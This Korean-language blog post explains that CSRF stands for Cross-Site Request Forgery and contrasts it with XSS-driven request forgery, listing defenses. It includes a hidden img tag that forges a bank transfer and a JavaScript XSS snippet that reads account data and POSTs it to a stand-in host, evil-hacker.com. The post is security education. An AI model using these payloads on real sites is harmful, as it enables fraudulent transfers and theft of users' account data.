CSRF의 'C'는 Client가 아니라고요? 😮 이름 논쟁 종결!

안녕하세요, 보안에 관심 많은 개발자 여러분! 오늘은 웹 취약점의 단골손님, CSRF에 대한 이야기를 해볼까 합니다. 많은 분들이 SSRF(Server-Side Request Forgery)와 대비해서 CSRF를 Client-Side Request Forgery로 알고 계시는데요, 사실 이 이름에는 작은 반전이 숨어있습니다.

 

결론부터 말씀드리면, CSRF의 'C'는 Client가 아닌, Cross-Site를 의미합니다! 🤯

 

그렇다면 'Client-Side Request Forgery'라는 개념은 아예 틀린 걸까요? CSRF와는 어떻게 다를까요? 지금부터 그 혼동의 고리를 명쾌하게 풀어드리겠습니다!

---

1. CSRF: Cross-Site Request Forgery (사이트 간 요청 위조)

CSRF는 이름 그대로 '사이트 간(Cross-Site)' 요청 위조 공격입니다. 공격의 핵심은 사용자가 자신의 의도와는 무관하게 공격자가 의도한 행동(요청)을 하도록 만드는 것입니다. 이 과정에서 브라우저의 쿠키 인증 방식이 악용됩니다.

🤔 어떻게 동작하나요?

아주 간단한 시나리오를 통해 알아보겠습니다.

1. 로그인: 사용자는 my-bank.com이라는 은행 사이트에 정상적으로 로그인합니다. 사용자의 브라우저에는 my-bank.com에서 발급한 유효한 세션 쿠키가 저장됩니다. 🍪
2. 악성 사이트 접속: 사용자는 이메일이나 게시글의 링크를 통해 evil-hacker.com이라는 악성 사이트에 접속합니다.
3. 요청 위조: evil-hacker.com 페이지에는 눈에 보이지 않는 이미지 태그나 숨겨진 form이 있습니다. 이 태그의 요청 주소는 은행 사이트의 송금 API 주소로 설정되어 있습니다.
4. HTML

   <img src="https://my-bank.com/transfer?to=hacker&amount=1000000" style="display:none;">
   

5. 자동화된 요청: 사용자의 브라우저는 이 이미지 태그를 로드하기 위해 my-bank.com으로 요청을 보냅니다. 이때 브라우저는 아주 친절하게도 my-bank.com의 세션 쿠키를 함께 실어 보냅니다.
6. 공격 성공: 은행 서버(my-bank.com) 입장에서는 유효한 세션 쿠키를 가진 사용자가 보낸 정상적인 요청으로 판단하고, 공격자의 계좌로 100만 원을 송금하게 됩니다. 💸

여기서 핵심은 공격이 evil-hacker.com(다른 사이트)에서 시작되어 my-bank.com으로 요청이 보내졌다는 점입니다. 즉, **사이트(Site)를 교차(Cross)**했기 때문에 Cross-Site Request Forgery라고 부르는 것입니다. 요청 자체는 사용자의 브라우저(클라이언트)에서 보내졌지만, 공격의 맥락이 '사이트 간' 이동에 있기 때문이죠.

---

2. 그렇다면 'Client-Side Request Forgery'는 무엇일까요?

'Client-Side Request Forgery'는 CSRF나 SSRF처럼 공식적으로 통용되는 취약점 명칭은 아닙니다. 하지만 그 단어의 의미 그대로 '클라이언트 측에서 요청이 위조되는' 모든 상황을 설명하는 포괄적인 개념으로 볼 수 있습니다.

이 개념에 가장 부합하는 대표적인 공격 기법이 바로 **XSS (Cross-Site Scripting)**입니다.

🤔 XSS는 어떻게 요청을 위조하나요?

1. 악성 스크립트 주입: 공격자는 my-bank.com의 게시판처럼 스크립트를 삽입할 수 있는 취약한 지점을 찾아 악성 자바스크립트 코드를 심어놓습니다.
2. 스크립트 실행: 다른 일반 사용자가 해당 게시물을 클릭하면, 사용자의 브라우저에서 공격자가 심어놓은 스크립트가 실행됩니다.
3. 요청 위조 및 전송: 이 스크립트는 my-bank.com 사이트 내부에서 실행되기 때문에, 현재 로그인된 사용자의 권한으로 할 수 있는 모든 작업을 수행할 수 있습니다. 예를 들어, 사용자의 정보를 탈취하거나, 사용자의 이름으로 글을 쓰거나, 송금 API를 호출하여 돈을 빼돌릴 수 있습니다.
4. JavaScript

   // 사용자의 브라우저에서 실행되는 악성 스크립트
   // 사용자의 계좌 정보를 몰래 조회한 후, 공격자에게 전송한다.
   fetch('/api/account_info')
     .then(res => res.json())
     .then(data => {
       fetch('https://evil-hacker.com/steal', {
         method: 'POST',
         body: JSON.stringify(data)
       });
     });
   

CSRF와의 결정적인 차이가 보이시나요? XSS는 공격이 my-bank.com 페이지 내부에서, 클라이언트(브라우저)에 주입된 스크립트를 통해 직접 발생합니다. 다른 사이트를 경유할 필요가 없죠. 이것이 바로 '클라이언트 측 요청 위조'라는 표현에 더 어울리는 이유입니다.

---

한눈에 보는 CSRF vs XSS (Client-Side Forgery)

구분	CSRF (Cross-Site Request Forgery)	XSS를 통한 Client-Side Request Forgery
핵심 원리	다른 사이트에서 위조된 요청을 보내도록 브라우저를 속임	취약한 사이트에 스크립트를 주입하여 브라우저 자체를 조종함
공격 시작점	악성 사이트, 이메일 링크 등 외부(Cross-Site)	취약점이 있는 바로 그 사이트(Same-Site)
공격 난이도	비교적 간단한 요청(GET, 단순 POST) 위주	스크립트로 할 수 있는 모든 복잡한 요청 가능
결과 확인	공격자는 요청의 성공 여부나 응답을 알 수 없음	공격자는 스크립트를 통해 서버의 응답을 확인하고 추가 조작 가능
주요 방어법	Anti-CSRF Token, SameSite Cookie 설정	입력값 검증(Validation), 출력값 이스케이프(Escaping)

 

결론: 이름이 원리를 말해준다!

이제 확실히 정리되셨나요?

• CSRF는 Cross-Site, 즉 다른 사이트를 이용하여 사용자의 브라우저가 서버에 위조된 요청을 보내게 만드는 공격입니다. 😈
• Client-Side Request Forgery는 공식 용어는 아니지만, XSS처럼 클라이언트 측에서 스크립트가 직접 실행되어 요청을 위조하는 공격을 설명하는 개념으로 이해할 수 있습니다. 🤖

두 공격 모두 사용자의 클라이언트(브라우저)를 통해 발생하지만, 그 공격의 시작점과 원리가 다르기 때문에 이름이 구분되는 것입니다. 정확한 이름을 아는 것은 취약점의 원리를 정확히 이해하고 올바른 방어 전략을 세우는 첫걸음입니다. 🛡️

---